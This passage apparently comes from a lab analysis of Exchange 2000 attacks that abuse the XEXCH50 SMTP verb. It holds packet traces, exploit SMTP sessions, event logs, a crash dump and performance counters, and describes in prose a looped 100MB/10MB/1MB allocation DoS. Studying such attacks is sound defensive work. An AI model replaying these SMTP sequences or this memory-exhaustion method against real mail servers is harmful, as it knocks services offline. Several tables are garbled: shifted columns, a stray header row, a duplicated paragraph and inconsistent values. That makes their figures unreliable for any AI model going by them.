<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>TCP</td>
<td>8002 &gt; smtp [SYN] Seq=3721340611 Ack=0</td>
</tr>
<tr>
<td></td>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>0.003954</td>
<td>192.168.20.2</td>
<td>192.168.1.101</td>
<td>TCP</td>
<td>smtp &gt; 8002 [SYN, ACK] Seq=376655111</td>
</tr>
<tr>
<td></td>
<td>Ack=3721346012 Win=17520 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>0.004027</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>TCP</td>
<td>8002 &gt; smtp [ACK] Seq=3721340612 Ack=376655112</td>
</tr>
<tr>
<td></td>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>4 0.015396</td>
<td>192.168.20.2</td>
<td>192.168.1.101</td>
<td>SMTP</td>
<td>Response: 220 win2kex2k.playground.test Microsoft</td>
</tr>
<tr>
<td></td>
<td>5 0.015972</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Command: HELO X</td>
</tr>
<tr>
<td></td>
<td>6 0.026845</td>
<td>192.168.20.2</td>
<td>192.168.1.101</td>
<td>SMTP</td>
<td>Response: 250 win2kex2k.playground.test Hello</td>
</tr>
<tr>
<td></td>
<td>7 0.027168</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Command: MAIL FROM: CRASH</td>
</tr>
<tr>
<td></td>
<td>8 0.130511</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>TCP</td>
<td>smtp &gt; 8002 [ACK] Seq=376655292 Ack=3721340636</td>
</tr>
<tr>
<td></td>
<td>Win=17496 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>0.201467</td>
<td>192.168.20.2</td>
<td>192.168.1.101</td>
<td>SMTP</td>
<td>Response: 250 2.1.0</td>
</tr>
<tr>
<td></td>
<td>10 0.201926</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Command: RCPT TO: Administrator</td>
</tr>
<tr>
<td></td>
<td>11 0.219946</td>
<td>192.168.20.2</td>
<td>192.168.1.101</td>
<td>SMTP</td>
<td>Response: 250 2.1.5</td>
</tr>
<tr>
<td></td>
<td>12 0.220326</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>13 0.250113</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>14 0.261499</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>15 0.261964</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>16 0.262464</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>17 0.262709</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>18 0.262947</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>19 0.263165</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
<tr>
<td></td>
<td>20 0.263399</td>
<td>192.168.1.101</td>
<td>192.168.20.2</td>
<td>SMTP</td>
<td>Message Body</td>
</tr>
</tbody>
</table>

|     | Win=17520 Len=0 |              |                      |           |                                           |
| 21 0.267266 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 22 0.267347 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 23 0.267365 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 24 0.268214 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 25 0.268429 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 26 0.268709 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 27 0.268947 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 28 0.287683 | 192.168.1.101   | 192.168.20.2         | TCP       | smtp > 8002 [ACK] Seq=376655410 Ack=3721348866 |
|     | Win=17520 Len=0 |              |                      |           |                                           |
| 29 0.287774 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 30 0.287810 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 31 0.288596 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 32 0.288824 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 33 0.289064 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 34 0.289292 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 35 0.289560 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
| 36 0.289791 | 192.168.1.101   | 192.168.20.2         | SMTP      | Message Body                              |
The TCP stream in for the SMTP session through the trace is as follows:

TCP Stream for SMTP:

```
220 win2kex2k.playground.test Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Sun, 14 Mar 2004 16:53:24 -0600
HELO X
250 win2kex2k.playground.test Hello [192.168.1.101]
MAIL FROM: DoS
250 2.1.0 DoS@Playsite.Playorg.com....Sender OK
RCPT TO: Administrator
250 2.1.5 Administrator@Playsite.Playorg.com
XEXCH50
354 Send binary data
METAME
```

The ‘META’ text continues until the target server stops responding to the connection. The network trace shows that the SMTP server keeps up with the information being sent for a few frames, until it eventually slows down in its ability to take in more information. Finally, the target server resets the TCP connection in frame 57. After first TCP reset, the attacking system attempts to initiate a connection to continue the SMTP stream that is buffered for output to the target.
system. In the remaining frames after frame 57, the connection attempts [SYN] are responded to by a TCP reset [RST] since the server cannot respond to the request.

The Exchange 2000 server also produces several Event Log entries.

**Event Log Entries:**

- **Event Type:** Error
- **Event Source:** Service Control Manager
- **Event Category:** None
- **Event ID:** 7011
- **Date:** 3/14/2004
- **Time:** 11:38:42 AM
- **User:** N/A
- **Computer:** WIN2KEX2K
- **Description:**
  
  Timeout (30000 milliseconds) waiting for a transaction response from the IISADMIN service.

- **Event Type:** Error
- **Event Source:** Service Control Manager
- **Event Category:** None
- **Event ID:** 7031
- **Date:** 3/14/2004
- **Time:** 11:38:59 AM
- **User:** N/A
- **Computer:** WIN2KEX2K
- **Description:**
  
  The IIS Admin Service service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 1 milliseconds: Run the configured recovery program.

- **Event Type:** Error
- **Event Source:** Service Control Manager
- **Event Category:** None
- **Event ID:** 7031
- **Date:** 3/14/2004
- **Time:** 11:38:59 AM
- **User:** N/A
- **Computer:** WIN2KEX2K
- **Description:**
  
  The Microsoft Exchange IMAP4 service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.

- **Event Type:** Error
- **Event Source:** Service Control Manager
- **Event Category:** None
- **Event ID:** 7031
- **Date:** 3/14/2004
- **Time:** 11:38:59 AM
- **User:** N/A
- **Computer:** WIN2KEX2K
- **Description:**
  
  The Network News Transport Protocol (NNTP) service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.

- **Event Type:** Error
- **Event Source:** Service Control Manager
- **Event Category:** None
- **Event ID:** 7031
- **Date:** 3/14/2004
- **Time:** 11:38:59 AM
- **User:** N/A
- **Computer:** WIN2KEX2K
- **Description:**
  
  The Microsoft Exchange POP3 service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.
Event Category: None
Event ID: 7031
Date: 3/14/2004
Time: 11:38:59 AM
User: N/A
Computer: WIN2KEX2K
Description:
The Microsoft Exchange Routing Engine service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.

Event Type: Error
Event Source: Service Control Manager
Event Category: None
Event ID: 7031
Date: 3/14/2004
Time: 11:38:59 AM
User: N/A
Computer: WIN2KEX2K
Description:
The Simple Mail Transport Protocol (SMTP) service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.

Event Type: Error
Event Source: Service Control Manager
Event Category: None
Event ID: 7031
Date: 3/14/2004
Time: 11:38:59 AM
User: N/A
Computer: WIN2KEX2K
Description:
The World Wide Web Publishing Service service terminated unexpectedly. It has done this 6 time(s). The following corrective action will be taken in 0 milliseconds: No action.

Event Type: Information
Event Source: IISCTLS
Event Category: None
Event ID: 2
Date: 3/14/2004
Time: 11:39:04 AM
User: N/A
Computer: WIN2KEX2K
Description:
IIS stop command received from user NT AUTHORITY\SYSTEM. The logged data is the status code. For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.

Data: 0000: 00 00 00 00 ....

Event Type: Information
Event Source: NNTPSVC
Event Category: None
Event ID: 93
Date: 3/14/2004
Time: 11:39:24 AM
User: N/A
Computer: WIN2KEX2K
Description:
The Microsoft NNTP Service 5.00.0984 Version: 5.0.2195.6702 Virtual server 1 has been started.

Event Type: Information
Event Source: NNTPSVC
Event Category: None
Event ID: 85
Date: 3/14/2004
Time: 11:39:24 AM
User: N/A
Computer: WIN2KEX2K
Description:
The Microsoft NNTP Service 5.00.0984 Version: 5.0.2195.6702 has been started.
The IIS Admin service handles the SMTP communications for Exchange 2000. This is due to the IIS Admin service running under the InetInfo process, along with the SMTP, NNTP, IMAP4, POP3, and WWW services. Unlike Windows NT, Windows 2000 has configured several services to automatically restart if they terminate unexpectedly. The additional service that terminates is the Microsoft Exchange Routing Engine, which has a dependency on the IIS Admin service. Several other Exchange services also depend on the IIS Admin server, but they do not seem to suffer collateral damage from this exploit.

**Performance Counter Log:**

<table>
<thead>
<tr>
<th>(PDH-CSV 4.0)</th>
<th>%Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
<th>IO Data Bytes/sec</th>
<th>IO Data Operations/sec</th>
<th>IO Other Bytes/sec</th>
<th>IO Other Operations/sec</th>
<th>IO Read Bytes/sec</th>
<th>IO Read Operations/sec</th>
</tr>
</thead>
<tbody>
<tr>
<td>13:54.5</td>
<td>2.37E-08</td>
<td>1792</td>
<td>0.084633</td>
<td>21770240</td>
<td>79</td>
<td>270420112</td>
<td>16558976</td>
<td>104.9871</td>
<td>0.004471</td>
<td>4.975754</td>
<td>0.078559</td>
<td>0.0003697</td>
<td></td>
</tr>
<tr>
<td>13:55.5</td>
<td>0</td>
<td>1792</td>
<td>0</td>
<td>21770240</td>
<td>79</td>
<td>270420112</td>
<td>16558976</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>13:56.5</td>
<td>0</td>
<td>1792</td>
<td>0</td>
<td>21770240</td>
<td>79</td>
<td>270420112</td>
<td>16558976</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>13:57.5</td>
<td>0</td>
<td>1792</td>
<td>0</td>
<td>21770240</td>
<td>79</td>
<td>270420112</td>
<td>16558976</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>13:58.5</td>
<td>0</td>
<td>1792</td>
<td>0</td>
<td>21770240</td>
<td>79</td>
<td>270420112</td>
<td>16558976</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

**Attack started**

The IIS Admin service handles the SMTP communications for Exchange 2000. This is due to the IIS Admin service running under the InetInfo process, along with the SMTP, NNTP, IMAP4, POP3, and WWW services. Unlike Windows NT, Windows 2000 has configured several services to automatically restart if they terminate unexpectedly. The additional service that terminates is the Microsoft Exchange Routing Engine, which has a dependency on the IIS Admin service. Several other Exchange services also depend on the IIS Admin server, but they do not seem to suffer collateral damage from this exploit.
The performance log is quite long in this format as presented, but it shows some interesting data. Shortly after the attack starts, the IO counters show some activity and the virtual memory counter shows little to no activity throughout the attack. This indicates this particular attack does not initiate the large amount of memory allocation by Exchange (or InetInfo service in this case) as in the DoS attack. After this attack, there are a large amount of page faults and the working memory for the InetInfo process starts to grow considerably, about 35MB at its peak in this example. The log also shows that the InetInfo process crashes about 1 minute 10 seconds after the attack begun. This corresponds to the Dr. Watson process initiating shortly after the InetInfo process starts to have problems when the attack is initiated. The InetInfo process terminates when the Dr. Watson program has finished performing a dump of the memory stack (this was observed by the author over several tests).

The initial section of the dump file shows the following:

Dr. Watson Error Log:

Microsoft (R) Windows 2000 (TM) Version 5.00 DrWtsn32
Copyright (C) 1985-1999 Microsoft Corp. All rights reserved.

Application exception occurred:
  App: inetinfo. exe (pid=1632)
  When: 3/14/2004 @ 11:51:07.609
  Exception number: c0000005 (access violation)

*----- System Information <-----*
  Computer Name: WIN2KEX2K
  User Name: SYSTEM
  Number of Processors: 1
  Processor Type: x86 Family 15 Model 2 Stepping 8
  Windows 2000 Version: 5.0
  Current Build: 2195
  Service Pack: 4
  Current Type: Uniprocessor Free
  Registered Organization: Playground.test
  Registered Owner: Administrator

This dump log indicates that the InetInfo (pid 1632) referenced a place in memory that was not allocated to it. This is the result of the buffer overflow by the exploit. There were several attempts by HD Moore who published the sample exploit to trace one place in memory where the crash occurred on a consistent basis. This paper's author did run several tests and found the same results, inconsistent memory locations where the access violation occurs in memory. Microsoft states that a buffer overflow for this vulnerability could allow
an attacker to run arbitrary code on the target machine. This looks to be relatively difficult considering the need for buffer overflow exploits to reference one location in memory on the particular CPU architecture to work on the majority of target systems.

b. DoS Attack Against Exchange 2000

The last attack combination is the first DoS attack, but against an Exchange 2000 server. The DoS attack was very quick to affect Exchange 5.5, but as is shown in this section it is relatively slower in its affect to Exchange 2000.

The network trace for this attack is quite long, over 13,000 frames. As in a previous section titled Variants, the code changes to the original code is detailed. The FOR loops make XEXCH50 verb calls to the target server informing there are large 100MB, then 10MB, and finally 1MB messages inbound. The reason for this multiple FOR loop and progressively small message sizes is to ensure that the most amount of memory is taken up on the target server as possible. Unlike the Exchange 5.5 DoS attack, the Exchange 2000 system allocates virtual memory under the InetInfo process when the XEXCH50 verb call is performed. With this action being observed by the author, the highest amount of memory that could be claimed during the attack was roughly 100MB. It seems Exchange 2000 limits the data portion of this verb to about that size, or bases it off available resources on the server. A conclusion that Exchange 2000 might determine the state of the server before allowing a large inbound message is from observations of the virtual memory state of the InetInfo process during an attack. The observations determined that successive large message verb calls forced the InetInfo process to claim successive 100MB chunks of virtual memory. Once the virtual memory allocation of the InetInfo process expanded the virtual memory limits of the server configuration, about 750MB, the successive 100MB verb calls did not succeed. Successive calls in progressively smaller amount did succeed though! This meant an attacker could perform malformed verb calls for large messages, and then switch to successively lesser amounts until the server could not handle anymore calls. The following network traces, system events and errors show the repercussions of the attack.

**Network Trace:**

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol Info</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>22</td>
<td>3.492478</td>
<td>192.168.20.1</td>
<td>192.168.20.2</td>
<td>TCP</td>
<td>3169 &gt; smtp [SYN] Seq=3412143320 Ack=0</td>
</tr>
<tr>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>23</td>
<td>3.495985</td>
<td>192.168.20.2</td>
<td>192.168.20.1</td>
<td>TCP</td>
<td>smtp &gt; 3169 [SYN, ACK] Seq=1132828881</td>
</tr>
<tr>
<td>Ack=3412143321 Win=17520 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>3.496049</td>
<td>192.168.20.1</td>
<td>192.168.20.2</td>
<td>TCP</td>
<td>3169 &gt; smtp [ACK] Seq=3412143345 Ack=3412143321 Ack=1132828882</td>
</tr>
<tr>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| 28  | 3.550070 | 192.168.20.2   | 192.168.20.1     | SMTP            | Response: 220 win2kek2k.playground.test Microsoft
| ESMTPT MAIL Service, Version: 5.0.2195.6713 ready at Tues, 16 Mar 2004 19:51:22 -0600 |
| 29  | 3.550573 | 192.168.20.1   | 192.168.20.2     | SMTP            | Command: HELO X                          |
| 30  | 3.591976 | 192.168.20.2   | 192.168.20.1     | SMTP            | Response: 250 win2kek2k.playground.test Hello |
| [192.168.20.1] |
| 31  | 3.5925561| 192.168.20.1   | 192.168.20.2     | SMTP            | Command: MAIL FROM: DoS                  |
| 32  | 3.717172 | 192.168.20.2   | 192.168.20.1     | TCP             | smtp > 3169 [ACK] Seq=1132829061 Ack=3412143345 |
| Win=17496 Len=0 |
The network trace does contain over 13,000 frames for the DoS attack that this author created and executed. The above network trace shows the first two SMTP connections.

**Network Trace – Initial SMTP Session Summary:**

220 win2kex2k.playground.test Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Tue, 16 Mar 2004 19:51:22 -0600

HELO X

250 win2kex2k.playground.test Hello [192.168.20.1]

MAIL FROM: DoS

250 2.1.0 DoS@Playsite.Playorg.com....Sender OK

RCPT TO: Administrator

250 2.1.5 Administrator@Playsite.Playorg.com

XCH50 100000000 2

354 Send binary data

As in the PERL exploit script, there are 10 attempts towards the target server to force an allocation 100MB memory chunks, the 10 attempts at 10MB, and finally 1000 attempts at 1MB. The full network trace shows these attempts; the full network trace is too long to include in the content of this paper. After so many connections and forced allocations of memory, the SMTP suffers greatly and the InetInfo process does not allow any more allocation requests. This is seen in the last parts of the network trace.

**Network Trace – Final SMTP Session Summary:**

13390 58.936025 192.168.20.1 192.168.20.1 TCP 4191 > smtp [SYN] Seq=3476065978 Ack=0

Win=64240 Len=0

13391 58.936460 192.168.20.2 192.168.20.1 TCP smtp > 4191 [SYN, ACK] Seq=1199203662 Ack=3476065979

Ack=1199203663 Win=64240 Len=0

13392 58.936510 192.168.20.1 192.168.20.2 TCP 4191 > smtp [ACK] Seq=3476065979

Ack=1199203663 Win=64240 Len=0


13394 58.937516 192.168.20.1 192.168.20.2 SMTP Command: HELO X
As seen in the one of the last SMTP connections, the target server can not process the needed allocation for even a 1MB message size in frame 13401. As this data shows, the conclusion that the InetInfo process might be analyzing available resources while processing a request for an incoming message is possible. This is only a hypothesis by this author, but it gives some insight on how the InetInfo program could be operating.

As for the target server, the situation has worsened during this attack. Once the attack is initiated, the server displays a low virtual memory error to any logged on users.

There is also the corresponding Windows Event Log entry for the error that is displayed, which give a warning to the situation at hand.

**Event Log Entries:**
- **Event Type:** Information
- **Event Source:** Application Popup
- **Event Category:** None
- **Event ID:** 26
- **Date:** 3/16/2004
- **Time:** 7:31:29 PM
- **User:** N/A
- **Computer:** WIN2KEX2K

**Description:** Application popup: Windows - Out of Virtual Memory : Your system is low on virtual memory. To ensure that Windows runs properly, increase the size of your virtual memory paging file. For more information, see Help.

Unfortunately, Windows classifies this error as informational. Yes it is good information, but when a server is running low on virtual memory, it needs to be
prioritized and handled by a system administrator. Following is the performance log as the attack was underway.

**Performance Counter Log:**

<table>
<thead>
<tr>
<th>Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
<th>Io Data Bytes/sec</th>
<th>Io Other Bytes/sec</th>
<th>Io Data Operations/sec</th>
<th>Io Other Operations/sec</th>
<th>Io Read Bytes/sec</th>
<th>Io Read Operations/sec</th>
</tr>
</thead>
<tbody>
<tr>
<td>30:03.0</td>
<td>0</td>
<td>1827</td>
<td>0 20885504</td>
<td>270688256</td>
<td>19116032</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4 0</td>
<td>0</td>
</tr>
<tr>
<td>30:04.0</td>
<td>0</td>
<td>1827</td>
<td>0</td>
<td>20885504</td>
<td>270688256</td>
<td>19116032</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>30:05.0</td>
<td>7.81</td>
<td>25</td>
<td>1852</td>
<td>54.000</td>
<td>21045248</td>
<td>271867904</td>
<td>19337216</td>
<td>24.000</td>
<td>2.0000</td>
<td>19337216</td>
<td>24.000</td>
</tr>
<tr>
<td>30:06.0</td>
<td>23.4</td>
<td>375</td>
<td>139.93</td>
<td>221483008</td>
<td>472346624</td>
<td>196676704</td>
<td>113.94</td>
<td>7.9962</td>
<td>12933</td>
<td>199.9052</td>
<td>113.94</td>
</tr>
<tr>
<td>30:07.0</td>
<td>4.68</td>
<td>75</td>
<td>1899</td>
<td>0</td>
<td>221483008</td>
<td>472346624</td>
<td>196676704</td>
<td>0</td>
<td>0</td>
<td>32.023</td>
<td>82</td>
</tr>
</tbody>
</table>

**Attack starts with 100MB messages**

<table>
<thead>
<tr>
<th>Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
<th>Io Data Bytes/sec</th>
<th>Io Other Bytes/sec</th>
<th>Io Data Operations/sec</th>
<th>Io Other Operations/sec</th>
<th>Io Read Bytes/sec</th>
<th>Io Read Operations/sec</th>
</tr>
</thead>
<tbody>
<tr>
<td>30:08.0</td>
<td>1.56</td>
<td>25</td>
<td>1909</td>
<td>2.9980</td>
<td>321589248</td>
<td>572350464</td>
<td>19668992</td>
<td>68.956</td>
<td>4.9968</td>
<td>19</td>
<td>26</td>
</tr>
<tr>
<td>30:09.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>321589248</td>
<td>572350464</td>
<td>19668992</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>30:10.0</td>
<td>3.12</td>
<td>5</td>
<td>1909</td>
<td>1.9873</td>
<td>421691392</td>
<td>672354304</td>
<td>19677184</td>
<td>68.565</td>
<td>4.9684</td>
<td>21</td>
<td>93</td>
</tr>
<tr>
<td>30:11.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>421691392</td>
<td>672354304</td>
<td>19677184</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>30:12.0</td>
<td>1.56</td>
<td>2.0017</td>
<td>1909</td>
<td>0</td>
<td>421691392</td>
<td>672354304</td>
<td>19677184</td>
<td>0</td>
<td>0</td>
<td>60.959</td>
<td>76</td>
</tr>
<tr>
<td>30:13.0</td>
<td>25</td>
<td>1909</td>
<td>0</td>
<td>521793536</td>
<td>772358144</td>
<td>19665736</td>
<td>69.061</td>
<td>5.0044</td>
<td>6</td>
<td>78</td>
<td>0</td>
</tr>
<tr>
<td>30:14.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>521793536</td>
<td>772358144</td>
<td>19665736</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>30:15.0</td>
<td>1.9990</td>
<td>0</td>
<td>1909</td>
<td>26</td>
<td>621895680</td>
<td>872361984</td>
<td>19693568</td>
<td>69.996</td>
<td>4.9975</td>
<td>4</td>
<td>65</td>
</tr>
<tr>
<td>30:16.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>621895680</td>
<td>872361984</td>
<td>19693568</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

**More of same results and 100MB messages are denied**

<table>
<thead>
<tr>
<th>Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
<th>Io Data Bytes/sec</th>
<th>Io Other Bytes/sec</th>
<th>Io Data Operations/sec</th>
<th>Io Other Operations/sec</th>
<th>Io Read Bytes/sec</th>
<th>Io Read Operations/sec</th>
</tr>
</thead>
<tbody>
<tr>
<td>30:27.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>621903872</td>
<td>872361984</td>
<td>19705856</td>
<td>69.539</td>
<td>5.0399</td>
<td>32</td>
<td>12</td>
<td>7.054714</td>
</tr>
<tr>
<td>30:28.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>621903872</td>
<td>872361984</td>
<td>19705856</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

**Attack continues with 10MB messages**

<table>
<thead>
<tr>
<th>Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
<th>Io Data Bytes/sec</th>
<th>Io Other Bytes/sec</th>
<th>Io Data Operations/sec</th>
<th>Io Other Operations/sec</th>
<th>Io Read Bytes/sec</th>
<th>Io Read Operations/sec</th>
</tr>
</thead>
<tbody>
<tr>
<td>30:29.0</td>
<td>3.12</td>
<td>5</td>
<td>1909</td>
<td>2.0049</td>
<td>631914496</td>
<td>882364416</td>
<td>19714048</td>
<td>68.169</td>
<td>5.0124</td>
<td>24</td>
<td>44</td>
</tr>
<tr>
<td>30:30.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>631914496</td>
<td>882364416</td>
<td>19714048</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>30:31.0</td>
<td>2.0022</td>
<td>5</td>
<td>1909</td>
<td>34</td>
<td>641925120</td>
<td>892366848</td>
<td>19722240</td>
<td>68.075</td>
<td>5.0055</td>
<td>96</td>
<td>85</td>
</tr>
<tr>
<td>30:32.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>641925120</td>
<td>892366848</td>
<td>19722240</td>
<td>0</td>
<td>0</td>
<td>31.981</td>
<td>63</td>
<td>1.998852</td>
</tr>
<tr>
<td>30:33.0</td>
<td>2.0012</td>
<td>96</td>
<td>1909</td>
<td>86</td>
<td>651939840</td>
<td>902369280</td>
<td>19730432</td>
<td>68.043</td>
<td>5.0032</td>
<td>96</td>
<td>74</td>
</tr>
<tr>
<td>30:34.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>651939840</td>
<td>902369280</td>
<td>19730432</td>
<td>287.93</td>
<td>11.997</td>
<td>167.96</td>
<td>69</td>
<td>74</td>
</tr>
<tr>
<td>30:35.0</td>
<td>0</td>
<td>1909</td>
<td>0</td>
<td>651939840</td>
<td>902369280</td>
<td>19730432</td>
<td>43.997</td>
<td>1.9999</td>
<td>27.998</td>
<td>96</td>
<td>32</td>
</tr>
<tr>
<td>30:36.0</td>
<td>1.56</td>
<td>2.0002</td>
<td>25</td>
<td>1909</td>
<td>64</td>
<td>661950464</td>
<td>912371712</td>
<td>19738624</td>
<td>68.008</td>
<td>5.0006</td>
<td>97</td>
</tr>
<tr>
<td>30:37.0</td>
<td>3.12</td>
<td>5</td>
<td>1909</td>
<td>0</td>
<td>661950464</td>
<td>912371712</td>
<td>19738624</td>
<td>0</td>
<td>0</td>
<td>89.909</td>
<td>73</td>
</tr>
<tr>
<td>Time</td>
<td>Key fingerprint</td>
<td>1MB messages</td>
<td>10MB messages</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>----------------</td>
<td>--------------</td>
<td>---------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:38</td>
<td>671965184 922374144 19746816</td>
<td>68.018 5.0013 0 5.001369 62 5.001369</td>
<td>68.001 5.0000 32.000 7.000104 68.001 5.000074</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:39</td>
<td>671965184 922374144 19746816</td>
<td>3463.3 10.994 219.89 3463.3 37 72 44 15.99232 37 10.99472</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:40</td>
<td>682012672 932376576 19779584</td>
<td>68.014 5.0010 0 5.001065 48 5.001065</td>
<td>68.014 5.0010 0 5.001065 48 5.001065</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:41</td>
<td>682012672 932376576 19779584</td>
<td>0 0 0 0 0 0 0 0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:42</td>
<td>692023296 942379008 19787776</td>
<td>68.014 5.0010 0 5.001065 48 5.001065</td>
<td>68.014 5.0010 0 5.001065 48 5.001065</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30:43</td>
<td>692023296 942379008 19787776</td>
<td>0 0 0 0 0 0 0 0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
